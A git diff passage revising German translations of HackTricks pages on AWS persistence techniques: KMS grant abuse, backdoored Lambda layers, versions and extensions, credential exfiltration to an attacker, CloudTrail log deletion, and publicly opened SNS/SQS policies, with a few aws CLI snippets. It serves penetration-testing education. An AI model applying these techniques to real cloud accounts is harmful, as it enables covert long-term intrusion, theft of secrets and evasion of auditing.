ihrer letzten Version (die letzte Version sollte legitim aussehen), und weisen Sie dann diese Version der Richtlinie einem kontrollierten Benutzer/einer kontrollierten Gruppe zu. +Geben Sie Administratorberechtigungen an eine Richtlinie in nicht ihrer letzten Version (die letzte Version sollte legitim aussehen), und weisen Sie diese Version der Richtlinie einem kontrollierten Benutzer/einer kontrollierten Gruppe zu. ### Backdoor / Identitätsanbieter erstellen diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index d4100b652..9c247c232 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -1,4 +1,4 @@ -# AWS - KMS Persistence +# AWS - KMS Persistenz {{#include ../../../banners/hacktricks-training.md}} @@ -12,15 +12,15 @@ Für weitere Informationen siehe: ### Zugriff über KMS-Richtlinien gewähren -Ein Angreifer könnte die Berechtigung **`kms:PutKeyPolicy`** verwenden, um einem Benutzer unter seiner Kontrolle oder sogar einem externen Konto **Zugriff** auf einen Schlüssel zu **gewähren**. Siehe die [**KMS Privesc-Seite**](../aws-privilege-escalation/aws-kms-privesc.md) für weitere Informationen. +Ein Angreifer könnte die Berechtigung **`kms:PutKeyPolicy`** verwenden, um **Zugriff** auf einen Schlüssel für einen Benutzer unter seiner Kontrolle oder sogar für ein externes Konto zu gewähren. Überprüfen Sie die [**KMS Privesc-Seite**](../aws-privilege-escalation/aws-kms-privesc.md) für weitere Informationen. ### Ewige Berechtigung -Berechtigungen sind eine weitere Möglichkeit, einem Principal einige Berechtigungen über einen bestimmten Schlüssel zu gewähren. Es ist möglich, eine Berechtigung zu erteilen, die es einem Benutzer erlaubt, Berechtigungen zu erstellen. Darüber hinaus kann ein Benutzer mehrere Berechtigungen (sogar identische) über denselben Schlüssel haben. +Grants sind eine weitere Möglichkeit, einem Principal einige Berechtigungen über einen bestimmten Schlüssel zu gewähren. Es ist möglich, einen Grant zu vergeben, der es einem Benutzer erlaubt, Grants zu erstellen. Darüber hinaus kann ein Benutzer mehrere Grants (sogar identische) über denselben Schlüssel haben. -Daher ist es möglich, dass ein Benutzer 10 Berechtigungen mit allen Berechtigungen hat. Der Angreifer sollte dies ständig überwachen. Und wenn zu einem bestimmten Zeitpunkt 1 Berechtigung entfernt wird, sollten weitere 10 generiert werden. +Daher ist es möglich, dass ein Benutzer 10 Grants mit allen Berechtigungen hat. Der Angreifer sollte dies ständig überwachen. Und wenn zu einem bestimmten Zeitpunkt 1 Grant entfernt wird, sollten weitere 10 generiert werden. -(Wir verwenden 10 und nicht 2, um erkennen zu können, dass eine Berechtigung entfernt wurde, während der Benutzer noch einige Berechtigungen hat.) +(Wir verwenden 10 und nicht 2, um erkennen zu können, dass ein Grant entfernt wurde, während der Benutzer weiterhin einige Grants hat.) ```bash # To generate grants, generate 10 like this one aws kms create-grant \ @@ -32,6 +32,6 @@ aws kms create-grant \ aws kms list-grants --key-id ``` > [!NOTE] -> Ein Grant kann nur Berechtigungen von diesem geben: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) +> Ein Grant kann Berechtigungen nur von diesem geben: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 0fc858d44..70631ba46 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -1,4 +1,4 @@ -# AWS - Lambda Persistence +# AWS - Lambda Persistenz {{#include ../../../../banners/hacktricks-training.md}} @@ -10,17 +10,17 @@ Für weitere Informationen siehe: ../../aws-services/aws-lambda-enum.md {{#endref}} -### Lambda Layer Persistence +### Lambda Layer Persistenz -Es ist möglich, **eine Schicht einzuführen/hintertüren, um beliebigen Code auszuführen**, wenn die Lambda stealthy ausgeführt wird: +Es ist möglich, eine **Schicht einzuführen/hintertüren, um beliebigen Code auszuführen**, wenn die Lambda stealthy ausgeführt wird: {{#ref}} aws-lambda-layers-persistence.md {{#endref}} -### Lambda Extension Persistence +### Lambda Erweiterungs-Persistenz -Durch den Missbrauch von Lambda Layers ist es auch möglich, Erweiterungen zu missbrauchen und in der Lambda persistent zu bleiben, aber auch Anfragen zu stehlen und zu modifizieren. +Durch den Missbrauch von Lambda Layers ist es auch möglich, Erweiterungen zu missbrauchen und in der Lambda zu persistieren, aber auch Anfragen zu stehlen und zu modifizieren. {{#ref}} aws-abusing-lambda-extensions.md @@ -40,25 +40,25 @@ Auf diese Weise könnte ein Angreifer eine **hintertürige Version 1** und eine
-### Version Backdoor + API Gateway +### Version Hintertür + API Gateway -1. Kopiere den ursprünglichen Code der Lambda -2. **Erstelle eine neue Version, die den** ursprünglichen Code hintertürt (oder nur mit bösartigem Code). Veröffentliche und **deploye diese Version** auf $LATEST -1. Rufe das API-Gateway auf, das mit der Lambda verbunden ist, um den Code auszuführen -3. **Erstelle eine neue Version mit dem ursprünglichen Code**, veröffentliche und deploye diese **Version** auf $LATEST. +1. Kopieren Sie den ursprünglichen Code der Lambda +2. **Erstellen Sie eine neue Version, die den ursprünglichen Code hintertürig macht** (oder nur mit bösartigem Code). Veröffentlichen und **setzen Sie diese Version** auf $LATEST +1. Rufen Sie das API-Gateway auf, das mit der Lambda verbunden ist, um den Code auszuführen +3. **Erstellen Sie eine neue Version mit dem ursprünglichen Code**, veröffentlichen und setzen Sie diese **Version** auf $LATEST. 1. Dies wird den hintertürigen Code in einer vorherigen Version verbergen -4. Gehe zum API Gateway und **erstelle eine neue POST-Methode** (oder wähle eine andere Methode), die die hintertürige Version der Lambda ausführt: `arn:aws:lambda:us-east-1::function::1` -1. Beachte das finale :1 der arn **das die Version der Funktion angibt** (Version 1 wird in diesem Szenario die hintertürige sein). -5. Wähle die erstellte POST-Methode aus und wähle in Aktionen **`API bereitstellen`** -6. Jetzt, wenn du **die Funktion über POST aufrufst, wird deine Hintertür** aktiviert +4. Gehen Sie zum API Gateway und **erstellen Sie eine neue POST-Methode** (oder wählen Sie eine andere Methode), die die hintertürige Version der Lambda ausführt: `arn:aws:lambda:us-east-1::function::1` +1. Beachten Sie das finale :1 der arn **das die Version der Funktion angibt** (Version 1 wird in diesem Szenario die hintertürige sein). +5. Wählen Sie die erstellte POST-Methode aus und wählen Sie in Aktionen **`API bereitstellen`** +6. Jetzt, wenn Sie **die Funktion über POST aufrufen, wird Ihre Hintertür** aufgerufen -### Cron/Event-Aktuator +### Cron/Ereignis-Aktuator -Die Tatsache, dass du **Lambda-Funktionen ausführen kannst, wenn etwas passiert oder wenn etwas Zeit vergeht**, macht Lambda zu einer schönen und gängigen Möglichkeit, Persistenz zu erlangen und Erkennung zu vermeiden.\ -Hier sind einige Ideen, um deine **Präsenz in AWS stealthy zu gestalten, indem du Lambdas erstellst**. +Die Tatsache, dass Sie **Lambda-Funktionen ausführen können, wenn etwas passiert oder wenn etwas Zeit vergeht**, macht Lambda zu einer schönen und gängigen Möglichkeit, Persistenz zu erlangen und Erkennung zu vermeiden.\ +Hier sind einige Ideen, um Ihre **Präsenz in AWS stealthy zu gestalten, indem Sie Lambdas erstellen**. - Jedes Mal, wenn ein neuer Benutzer erstellt wird, generiert Lambda einen neuen Benutzerschlüssel und sendet ihn an den Angreifer. -- Jedes Mal, wenn eine neue Rolle erstellt wird, gewährt Lambda den kompromittierten Benutzern die Berechtigung, Rollen zu übernehmen. -- Jedes Mal, wenn neue CloudTrail-Protokolle generiert werden, lösche/ändere sie. +- Jedes Mal, wenn eine neue Rolle erstellt wird, gewährt Lambda die Berechtigung zur Annahme von Rollen an kompromittierte Benutzer. +- Jedes Mal, wenn neue CloudTrail-Protokolle generiert werden, löschen/ändern Sie diese. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index 7d606508d..33c610d5c 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -6,14 +6,14 @@ Lambda-Erweiterungen verbessern Funktionen, indem sie sich mit verschiedenen **Überwachungs-, Beobachtungs-, Sicherheits- und Governance-Tools** integrieren. Diese Erweiterungen, die über [.zip-Archive mit Lambda-Schichten](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) hinzugefügt oder in [Container-Image-Bereitstellungen](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) enthalten sind, arbeiten in zwei Modi: **intern** und **extern**. -- **Interne Erweiterungen** fusionieren mit dem Laufzeitprozess und manipulieren dessen Start mit **sprachspezifischen Umgebungsvariablen** und **Wrapper-Skripten**. Diese Anpassung gilt für eine Reihe von Laufzeiten, einschließlich **Java Correto 8 und 11, Node.js 10 und 12 sowie .NET Core 3.1**. +- **Interne Erweiterungen** verschmelzen mit dem Laufzeitprozess und manipulieren dessen Start mit **sprachspezifischen Umgebungsvariablen** und **Wrapper-Skripten**. Diese Anpassung gilt für eine Reihe von Laufzeiten, einschließlich **Java Correto 8 und 11, Node.js 10 und 12 sowie .NET Core 3.1**. - **Externe Erweiterungen** laufen als separate Prozesse und halten die Betriebsanpassung an den Lebenszyklus der Lambda-Funktion aufrecht. Sie sind mit verschiedenen Laufzeiten wie **Node.js 10 und 12, Python 3.7 und 3.8, Ruby 2.5 und 2.7, Java Corretto 8 und 11, .NET Core 3.1** und **benutzerdefinierten Laufzeiten** kompatibel. Für weitere Informationen darüber, [**wie Lambda-Erweiterungen funktionieren, siehe die Dokumentation**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). ### Externe Erweiterung für Persistenz, Stehlen von Anfragen & Modifizieren von Anfragen -Dies ist eine Zusammenfassung der Technik, die in diesem Beitrag vorgeschlagen wird: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) +Dies ist eine Zusammenfassung der in diesem Beitrag vorgeschlagenen Technik: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) Es wurde festgestellt, dass der Standard-Linux-Kernel in der Lambda-Laufzeitumgebung mit den Systemaufrufen “**process_vm_readv**” und “**process_vm_writev**” kompiliert ist. Und alle Prozesse laufen mit derselben Benutzer-ID, selbst der neue Prozess, der für die externe Erweiterung erstellt wurde. **Das bedeutet, dass eine externe Erweiterung vollen Lese- und Schreibzugriff auf den Heap-Speicher von Rapid hat, per Design.** @@ -23,16 +23,16 @@ Der Init (Rapid)-Prozess überwacht alle API-Anfragen unter [http://127.0.0.1:90

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png

-Die Variable **`AWS_LAMBDA_RUNTIME_API`** gibt die **IP**-Adresse und die **Portnummer** der Rapid-API an **Kindlaufzeitprozesse** und zusätzliche Erweiterungen weiter. +Die Variable **`AWS_LAMBDA_RUNTIME_API`** gibt die **IP**-Adresse und die **Portnummer** der Rapid-API an **untergeordnete Laufzeitprozesse** und zusätzliche Erweiterungen weiter. > [!WARNING] -> Durch Ändern der **`AWS_LAMBDA_RUNTIME_API`**-Umgebungsvariable auf einen **`Port`**, auf den wir Zugriff haben, ist es möglich, alle Aktionen innerhalb der Lambda-Laufzeit abzufangen (**Man-in-the-Middle**). Dies ist möglich, weil die Erweiterung mit denselben Berechtigungen wie Rapid Init läuft und der Kernel des Systems **Änderungen am Prozessspeicher** zulässt, was die Änderung der Portnummer ermöglicht. +> Durch Ändern der **`AWS_LAMBDA_RUNTIME_API`**-Umgebungsvariable auf einen **`Port`**, auf den wir Zugriff haben, ist es möglich, alle Aktionen innerhalb der Lambda-Laufzeit abzufangen (**man-in-the-middle**). Dies ist möglich, weil die Erweiterung mit denselben Berechtigungen wie Rapid Init läuft und der Kernel des Systems **Änderungen am Prozessspeicher** zulässt, was die Änderung der Portnummer ermöglicht. -Da **Erweiterungen vor jedem Laufzeitcode** ausgeführt werden, beeinflusst die Modifikation der Umgebungsvariable den Laufzeitprozess (z. B. Python, Java, Node, Ruby) beim Start. Darüber hinaus werden **nachfolgende Erweiterungen**, die auf dieser Variablen basieren, ebenfalls über unsere Erweiterung geleitet. Diese Konfiguration könnte Malware ermöglichen, Sicherheitsmaßnahmen oder Protokollierungserweiterungen direkt innerhalb der Laufzeitumgebung vollständig zu umgehen. +Da **Erweiterungen vor jedem Laufzeitcode ausgeführt werden**, beeinflusst die Modifikation der Umgebungsvariable den Laufzeitprozess (z. B. Python, Java, Node, Ruby) beim Start. Darüber hinaus werden **nachfolgende Erweiterungen**, die auf dieser Variablen basieren, ebenfalls über unsere Erweiterung geleitet. Diese Konfiguration könnte Malware ermöglichen, Sicherheitsmaßnahmen oder Protokollierungserweiterungen direkt innerhalb der Laufzeitumgebung vollständig zu umgehen.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png

-Das Tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) wurde entwickelt, um **Speicher zu schreiben** und **sensible Informationen** aus Lambda-Anfragen, anderen **Erweiterungsanfragen** zu stehlen und sie sogar **zu modifizieren**. +Das Tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) wurde entwickelt, um **Speicher zu schreiben** und **sensible Informationen** aus Lambda-Anfragen, anderen **Erweiterungsanfragen** und sogar **diese zu modifizieren**. ## Referenzen diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index 91ad3b61a..bf0daf29b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -18,15 +18,15 @@ Der Ladepfad, den Python in Lambda verwenden wird, ist der folgende: ``` ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages'] ``` -Überprüfen Sie, wie die **zweite** und dritte **Position** von Verzeichnissen eingenommen werden, in denen **Lambda-Schichten** ihre Dateien entpacken: **`/opt/python/lib/python3.9/site-packages`** und **`/opt/python`** +Überprüfen Sie, wie die **zweite** und dritte **Position** von Verzeichnissen eingenommen werden, in denen **Lambda-Layer** ihre Dateien entpacken: **`/opt/python/lib/python3.9/site-packages`** und **`/opt/python`** > [!CAUTION] -> Wenn es einem Angreifer gelingt, eine verwendete Lambda **Schicht** zu **backdoor** oder eine hinzuzufügen, die **beliebigen Code ausführt, wenn eine gängige Bibliothek geladen wird**, kann er mit jedem Lambda-Aufruf bösartigen Code ausführen. +> Wenn es einem Angreifer gelingt, einen verwendeten Lambda **Layer** zu **backdoor** oder einen hinzuzufügen, der **beliebigen Code ausführt, wenn eine gängige Bibliothek geladen wird**, kann er mit jeder Lambda-Aufruf bösartigen Code ausführen. -Daher sind die Voraussetzungen: +Daher sind die Anforderungen: - **Überprüfen Sie Bibliotheken**, die vom Code der Opfer **geladen** werden -- Erstellen Sie eine **Proxy-Bibliothek mit Lambda-Schichten**, die **benutzerdefinierten Code ausführt** und die **ursprüngliche** Bibliothek **lädt**. +- Erstellen Sie eine **Proxy-Bibliothek mit Lambda-Layern**, die **benutzerdefinierten Code ausführt** und die **ursprüngliche** Bibliothek **lädt**. ### Vorgebundene Bibliotheken @@ -34,7 +34,7 @@ Daher sind die Voraussetzungen: > Bei der Ausnutzung dieser Technik stieß ich auf eine Schwierigkeit: Einige Bibliotheken sind **bereits geladen**, wenn Ihr Code ausgeführt wird. Ich erwartete, Dinge wie `os` oder `sys` zu finden, aber **sogar die `json`-Bibliothek war geladen**.\ > Um diese Persistenztechnik auszunutzen, muss der Code eine **neue Bibliothek laden, die nicht geladen ist**, wenn der Code ausgeführt wird. -Mit einem Python-Code wie diesem ist es möglich, die **Liste der Bibliotheken, die vorab geladen sind**, im Python-Laufzeitumfeld in Lambda zu erhalten: +Mit einem Python-Code wie diesem ist es möglich, die **Liste der Bibliotheken, die vorab geladen sind**, innerhalb der Python-Laufzeit in Lambda zu erhalten: ```python import sys @@ -83,11 +83,11 @@ import csv as _csv sys.modules["csv"] = _csv ``` -Dann erstellen Sie ein Zip mit diesem Code im Pfad **`python/lib/python3.9/site-packages/__init__.py`** und fügen Sie es als Lambda-Schicht hinzu. +Erstellen Sie dann eine Zip-Datei mit diesem Code im Pfad **`python/lib/python3.9/site-packages/__init__.py`** und fügen Sie sie als Lambda-Schicht hinzu. Sie finden diesen Code unter [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) -Die integrierte Payload wird **die IAM-Credentials an einen Server SENDEN, BEIM ERSTEN AUFRUF oder NACH EINEM RESET DES LAMBDA-Containers** (Änderung des Codes oder kaltes Lambda) senden, aber **andere Techniken** wie die folgenden könnten ebenfalls integriert werden: +Die integrierte Payload wird **die IAM-Credentials an einen Server senden, BEIM ERSTEN AUFRUF oder NACH einem Reset des Lambda-Containers** (Änderung des Codes oder kaltes Lambda), aber **andere Techniken** wie die folgenden könnten ebenfalls integriert werden: {{#ref}} ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -95,14 +95,14 @@ Die integrierte Payload wird **die IAM-Credentials an einen Server SENDEN, BEIM ### Externe Schichten -Es ist zu beachten, dass es möglich ist, **Lambda-Schichten von externen Konten** zu verwenden. Darüber hinaus kann ein Lambda eine Schicht von einem externen Konto verwenden, auch wenn es keine Berechtigungen hat.\ +Es ist zu beachten, dass es möglich ist, **Lambda-Schichten aus externen Konten** zu verwenden. Darüber hinaus kann ein Lambda eine Schicht aus einem externen Konto verwenden, auch wenn es keine Berechtigungen hat.\ Es ist auch zu beachten, dass die **maximale Anzahl von Schichten, die ein Lambda haben kann, 5 beträgt**. Daher könnte ein Angreifer, um die Vielseitigkeit dieser Technik zu verbessern: -- Eine bestehende Schicht des Benutzers backdoor (nichts ist extern) +- Eine bestehende Schicht des Benutzers kompromittieren (nichts ist extern) - **Eine** **Schicht** in **seinem Konto** erstellen, dem **Opferkonto Zugriff** auf die Verwendung der Schicht gewähren, die **Schicht** im Lambda des Opfers **konfigurieren** und die **Berechtigung entfernen**. -- Das **Lambda** wird weiterhin in der Lage sein, die **Schicht** zu **verwenden**, und das **Opfer wird** keine einfache Möglichkeit haben, den **Code der Schichten herunterzuladen** (außer durch den Erhalt einer Rev-Shell innerhalb des Lambdas). +- Das **Lambda** wird weiterhin in der Lage sein, die **Schicht** zu **verwenden**, und das **Opfer wird** keine einfache Möglichkeit haben, den **Code der Schichten herunterzuladen** (außer durch den Erhalt einer Reverse-Shell im Lambda). - Das Opfer **wird keine externen Schichten** sehen, die mit **`aws lambda list-layers`** verwendet werden. ```bash # Upload backdoor layer diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md index 82a98122b..1967f3b96 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md @@ -26,7 +26,7 @@ Ein Angreifer könnte Zugriff auf die Instanzen erhalten und sie mit einer Hinte Wenn Domains konfiguriert sind: -- Erstellen Sie eine Subdomain, die auf Ihre IP zeigt, sodass Sie eine **subdomain takeover** haben +- Erstellen Sie eine Subdomain, die auf Ihre IP zeigt, sodass Sie eine **Subdomain-Übernahme** haben - Erstellen Sie einen **SPF**-Eintrag, der es Ihnen ermöglicht, **E-Mails** von der Domain zu senden - Konfigurieren Sie die **Hauptdomain-IP auf Ihre eigene** und führen Sie einen **MitM** von Ihrer IP zu den legitimen durch diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index dd42f1a84..29f54a864 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -18,7 +18,7 @@ aws rds modify-db-instance --db-instance-identifier target-instance --publicly-a ``` ### Erstellen Sie einen Admin-Benutzer in der DB -Ein Angreifer könnte einfach **einen Benutzer in der DB erstellen**, sodass er, selbst wenn das Passwort des Master-Benutzers geändert wird, **den Zugriff** auf die Datenbank **nicht verliert**. +Ein Angreifer könnte einfach **einen Benutzer in der DB erstellen**, sodass selbst wenn das Passwort des Master-Benutzers geändert wird, er **den Zugriff** auf die Datenbank **nicht verliert**. ### Snapshot öffentlich machen ```bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index 91204de27..12d7b1388 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -1,4 +1,4 @@ -# AWS - S3 Persistence +# AWS - S3 Persistenz {{#include ../../../banners/hacktricks-training.md}} @@ -10,13 +10,13 @@ Für weitere Informationen siehe: ../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### KMS Client-Seitige Verschlüsselung +### KMS Client-seitige Verschlüsselung -Wenn der Verschlüsselungsprozess abgeschlossen ist, verwendet der Benutzer die KMS-API, um einen neuen Schlüssel zu generieren (`aws kms generate-data-key`), und er wird **den generierten verschlüsselten Schlüssel in den Metadaten** der Datei speichern ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), sodass er beim Entschlüsseln diesen erneut mit KMS entschlüsseln kann: +Wenn der Verschlüsselungsprozess abgeschlossen ist, verwendet der Benutzer die KMS-API, um einen neuen Schlüssel zu generieren (`aws kms generate-data-key`), und er **speichert den generierten verschlüsselten Schlüssel in den Metadaten** der Datei ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), sodass er beim Entschlüsseln diesen erneut mit KMS entschlüsseln kann:
-Daher könnte ein Angreifer diesen Schlüssel aus den Metadaten abrufen und mit KMS (`aws kms decrypt`) entschlüsseln, um den Schlüssel zu erhalten, der zur Verschlüsselung der Informationen verwendet wurde. Auf diese Weise hat der Angreifer den Verschlüsselungsschlüssel, und wenn dieser Schlüssel zur Verschlüsselung anderer Dateien wiederverwendet wird, kann er ihn verwenden. +Daher könnte ein Angreifer diesen Schlüssel aus den Metadaten abrufen und mit KMS (`aws kms decrypt`) entschlüsseln, um den Schlüssel zu erhalten, der zur Verschlüsselung der Informationen verwendet wurde. Auf diese Weise hat der Angreifer den Verschlüsselungsschlüssel, und wenn dieser Schlüssel wiederverwendet wird, um andere Dateien zu verschlüsseln, kann er ihn verwenden. ### Verwendung von S3 ACLs diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index 55d47c018..1b9300431 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -1,4 +1,4 @@ -# AWS - Secrets Manager Persistence +# AWS - Secrets Manager Persistenz {{#include ../../../banners/hacktricks-training.md}} @@ -12,11 +12,11 @@ Für weitere Informationen siehe: ### Über Ressourcenrichtlinien -Es ist möglich, **Zugriff auf Geheimnisse für externe Konten** über Ressourcenrichtlinien zu **gewähren**. Überprüfen Sie die [**Secrets Manager Privesc-Seite**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) für weitere Informationen. Beachten Sie, dass das externe Konto auch **Zugriff auf den KMS-Schlüssel, der das Geheimnis verschlüsselt, benötigt**. +Es ist möglich, **Zugriff auf Geheimnisse für externe Konten zu gewähren** über Ressourcenrichtlinien. Siehe die [**Secrets Manager Privesc-Seite**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) für weitere Informationen. Beachten Sie, dass das externe Konto auch **Zugriff auf den KMS-Schlüssel, der das Geheimnis verschlüsselt, benötigt**. ### Über Secrets Rotate Lambda -Um **Geheimnisse** automatisch zu **rotieren**, wird eine konfigurierte **Lambda** aufgerufen. Wenn ein Angreifer den **Code** **ändern** könnte, könnte er das neue Geheimnis direkt an sich selbst **exfiltrieren**. +Um **Geheimnisse** automatisch zu **rotieren**, wird eine konfigurierte **Lambda** aufgerufen. Wenn ein Angreifer den **Code** **ändern** könnte, könnte er das neue Geheimnis direkt **an sich selbst exfiltrieren**. So könnte der Lambda-Code für eine solche Aktion aussehen: ```python diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md index 4d686d137..cce6b4d50 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md @@ -1,4 +1,4 @@ -# AWS - SNS Persistence +# AWS - SNS Persistenz {{#include ../../../banners/hacktricks-training.md}} @@ -10,10 +10,10 @@ Für weitere Informationen siehe: ../aws-services/aws-sns-enum.md {{#endref}} -### Persistence +### Persistenz -Beim Erstellen eines **SNS-Themas** müssen Sie mit einer IAM-Richtlinie angeben, **wer Zugriff auf das Lesen und Schreiben hat**. Es ist möglich, externe Konten, ARN von Rollen oder **sogar "\*"** anzugeben.\ -Die folgende Richtlinie gewährt allen in AWS Zugriff auf das Lesen und Schreiben im SNS-Thema mit dem Namen **`MySNS.fifo`**: +Beim Erstellen eines **SNS-Themas** müssen Sie mit einer IAM-Richtlinie angeben, **wer Zugriff auf Lesen und Schreiben hat**. Es ist möglich, externe Konten, ARN von Rollen oder **sogar "\*"** anzugeben.\ +Die folgende Richtlinie gewährt allen in AWS Zugriff auf Lesen und Schreiben im SNS-Thema mit dem Namen **`MySNS.fifo`**: ```json { "Version": "2008-10-17", @@ -65,7 +65,7 @@ Die folgende Richtlinie gewährt allen in AWS Zugriff auf das Lesen und Schreibe ``` ### Erstellen von Abonnenten -Um weiterhin alle Nachrichten aus allen Themen zu exfiltrieren, könnte der Angreifer **Abonnenten für alle Themen erstellen**. +Um alle Nachrichten aus allen Themen weiter zu exfiltrieren, könnte der Angreifer **Abonnenten für alle Themen erstellen**. Beachten Sie, dass, wenn das **Thema vom Typ FIFO** ist, nur Abonnenten, die das Protokoll **SQS** verwenden, genutzt werden können. ```bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index bc45cae9b..77816838c 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -1,4 +1,4 @@ -# AWS - SQS Persistence +# AWS - SQS Persistenz {{#include ../../../banners/hacktricks-training.md}} @@ -10,10 +10,10 @@ Für weitere Informationen siehe: ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### Verwendung der Ressourcenrichtlinie +### Verwendung von Ressourcenrichtlinien In SQS müssen Sie mit einer IAM-Richtlinie **angeben, wer Zugriff auf das Lesen und Schreiben hat**. Es ist möglich, externe Konten, ARN von Rollen oder **sogar "\*"** anzugeben.\ -Die folgende Richtlinie gewährt jedem in AWS Zugriff auf alles in der Warteschlange mit dem Namen **MyTestQueue**: +Die folgende Richtlinie gewährt allen in AWS Zugriff auf alles in der Warteschlange mit dem Namen **MyTestQueue**: ```json { "Version": "2008-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md index 22aca3416..1519e326f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md @@ -10,12 +10,12 @@ Für weitere Informationen siehe: ../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Backdooring von Step-Funktionen +### Backdooring von Step Functions -Hinterlege einen Backdoor in einer Step-Funktion, um jeden Persistenztrick auszuführen, sodass jedes Mal, wenn sie ausgeführt wird, deine bösartigen Schritte ausgeführt werden. +Hinterlasse eine Hintertür in einer Step Function, um einen Persistenztrick auszuführen, sodass jedes Mal, wenn sie ausgeführt wird, deine bösartigen Schritte ausgeführt werden. -### Backdooring von Aliasen +### Backdooring von Aliassen -Wenn das AWS-Konto Aliase verwendet, um Step-Funktionen aufzurufen, wäre es möglich, einen Alias zu ändern, um eine neue, gehackte Version der Step-Funktion zu verwenden. +Wenn das AWS-Konto Aliasse verwendet, um Step Functions aufzurufen, wäre es möglich, einen Alias zu ändern, um eine neue, mit einer Hintertür versehene Version der Step Function zu verwenden. {{#include ../../../banners/hacktricks-training.md}} diff --git 